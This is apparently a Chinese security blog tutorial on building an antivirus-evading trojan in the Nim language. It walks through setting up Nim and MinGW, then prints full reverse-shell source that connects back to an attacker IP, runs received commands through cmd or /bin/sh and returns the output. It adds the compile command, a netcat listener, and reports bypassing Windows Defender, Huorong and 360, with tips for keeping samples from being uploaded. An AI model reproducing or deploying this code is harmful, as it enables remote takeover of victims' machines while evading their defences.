微信公众号:乌鸦安全
更新时间:2022.03.18
说明
本文代码部分参考:
https://www.bilibili.com/video/BV1Yr4y1Y7qP/
1. 前言
Nim
这个语言属于比较小众的语言,所以被杀软盯的可能小了很多,免杀上有奇效,本次学习是看到了一个使用Nim
写的Socket
连接的功能,然后封装为木马,目前依旧是免杀Windows Defender
的;
参考链接:https://www.bilibili.com/video/BV1Yr4y1Y7qP/ 在这里我从环境配置到文件打包,做一个整理。
2. nim介绍
Nim
是一种静态类型的、编译型、系统编程语言。它结合了其他成熟语言的成功概念(如 Python
、Ada
和 Modula
)。(参考:https://nim-lang-cn.org/)
3. 环境准备
测试机1:Windows 10
Windows Defender最新版
测试机2:Windows Server2019
、Windows Defender最新版
、火绒联网最新版
攻击机:Kali Linux
在以下测试中,均关闭Windows Defender
最新版的自动上传样本功能。
4. Nim环境配置
4.1 Nim安装
在https://nim-lang.org/install.html
上选择下载Windows
的
然后选择x64
位的下载:
在Chrome
浏览器下载的时候,会报毒:
在这里直接忽略就行了:
将得到的文件解压,然后再移动到C
盘目录下(这个无所谓):
复制bin
目录下的路径: C:\nim-1.6.4_x64\nim-1.6.4\bin
将该路径添加到环境变量中去:
按照这个步骤,选择系统变量之后,找到Path
,编辑,再新建:
将信息填入之后,保存,打开cmd
命令窗口,输入nim
:
此时代表Nim
安装成功;
4.2 安装MinGW
MinGW
是为Nim
编译所必需的,MinGW主要是编译C
、C++
代码用的,在这里一共有两种方式:
-
• 直接下载
MinGW
安装 -
• 利用Nim自带的程序
finish.exe
安装
4.2.1 直接安装MinGW
首先按照教程,安装MinGW
在这里有下载链接地址:
https://sourceforge.net/projects/mingw-w64/files/
下载最新版x64
位版本:
64
位系统建议选择x86_64-posix-sjlj
32
位系统建议选择i686-posix-sjlj
MingGW64
版本区别于各版本说明 https://www.pcyo.cn/linux/20181212/216.html
将解压之后的文件放入到C
盘根目录下:
然后来到bin
目录下,使用命令行检查当前的gcc
版本:
gcc.exe --version
然后就是和上面一样,设置系统环境变量:
在控制面板\系统和安全\系统
中,选择高级系统设置\高级\环境变量
,设置环境变量:
将MinGW
添加到系统环境变量中去:
完成之后,确认退出:在新的命令行中尝试输入gcc.exe --version
此时证明MinGW
安装成功。
4.2.2 利用Nim自带的程序finish.exe安装
在Nim
的环境中,有一个程序是finish.exe
,可以利用该程序下载MinGW
的安装包:
在命令行里面启动这个文件,一路Y
下去之后,下载完成,利用自带的7z
压缩工具进行解压,解压之后就是手动配置环境变量。
下载完成之后,来到下载文件的目录: C:\nim-1.6.4_x64\nim-1.6.4\dist\mingw64\bin
复制该路径,添加到系统变量中去,确认之后,打开一个新的cmd
窗口,检测环境是否正常:
4.2.3 注意事项
上述的两种方法中只能使用一种,而且前提是先不使用Nim
进行编译工作,否则会由于缓存问题导致第二种线上安装的方式编译出错。
4.3 安装winim库
下载地址:https://github.com/khchen/winim
在当前路径下,使用nimble install
安装即可。
5. Nim之套接字免杀学习
5.1 Socket代码
以下代码参考:
https://www.bilibili.com/video/BV1Yr4y1Y7qP/
在下面的代码里主要是需要自定义攻击机的ip和反弹的端口:
import net
import osproc
import os
var ip = "192.168.238.138"
var port = 55
var socket = newSocket()
var finalcommand : string
while true:
try:
socket.connect(ip, Port(port))
while true:
try:
socket.send("<helloshell>")
var command = socket.recvLine()
if command == "bye":
socket.send("exit")
socket.close()
system.quit(0)
if system.hostOS == "windows":
finalcommand = "cmd /C" & command
else:
finalcommand = "/bin/sh -c" & command
var (cmdres, _) = execCmdEx(finalcommand)
socket.send(cmdres)
except:
socket.close()
system.quit()
except:
echo ""
sleep(5000)
continue
其中定义攻击机的 ip
:192.168.238.138
,端口是55
5.2 源码编译
在得到代码之后,在上述配置好Nim环境的Windows10上进行编译:
nim c -d:mingw Nim_socket.nim
编译成功之后会得到一个exe
可执行文件。
5.3 上线测试
首先在kali攻击机上开启监听: nc -lvp 55
然后在Windows的cmd命令行中执行木马:
等待一下之后,反弹成功:
5.4 免杀测试
Windows Defender
火绒
360按位置查杀
360
按位置查杀,最好不要云查杀
,不然样本会被上传。
6. 总结
在以上的测试中,主要是参考了以下的链接:https://www.bilibili.com/video/BV1Yr4y1Y7qP/
在作者的说明中,该免杀理论上还可以过卡巴斯基,由此也看到了Nim
代码的魅力,也看到了免杀上有很多厉害的师傅;
静态免杀只是皮毛,动态免杀比较关键;继续向各位师傅学习学习。。。。